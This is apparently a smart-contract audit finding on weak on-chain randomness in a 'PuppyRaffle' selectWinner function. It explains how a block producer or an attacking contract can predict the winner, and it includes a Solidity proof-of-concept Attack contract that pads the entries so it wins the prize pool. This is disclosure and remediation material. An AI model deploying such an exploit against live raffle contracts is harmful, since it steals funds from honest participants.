Title: Weak and Predictable Randomness in Winner Selection
Impact: High
Likelihood: Medium
The selectWinner function uses on-chain data to determine both the winning player and the NFT rarity tier. In a fair raffle, the winner should be chosen unpredictably so that no participant can influence or predict the outcome before it is finalized.
The random number generation relies on block.timestamp, block.difficulty, and msg.sender, all of which are either publicly known or manipulable by the caller. A block producer calling selectWinner can pre-compute the winning index for different timestamp and difficulty values, then submit a block that lands on a desired winner. The same weakness applies to the rarity determination hash, allowing manipulation of NFT trait outcomes.
Likelihood:
A block producer (miner or validator) controls block.timestamp within a few seconds of tolerance and can influence block.difficulty. By iterating through valid timestamp values and computing the hash off-chain, they can determine which combination produces their desired winner index.
Once the raffle duration has elapsed, any block producer can call selectWinner and manipulate the outcome at essentially no cost since they control block production.
Impact:
An attacker can guarantee winning the raffle and the associated ETH prize pool (80% of total collected funds), directly stealing from all legitimate participants every round.
The attacker can also force the rarity outcome to always mint Legendary NFTs (the rarest and most valuable tier), undermining the NFT economy and devaluing Common and Rare tiers held by honest winners.
## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.
The contest is live. Earn rewards by submitting a finding.
Submissions are being reviewed by our AI judge. Results will be available in a few minutes.
View all submissionsThe contest is complete and the rewards are being distributed.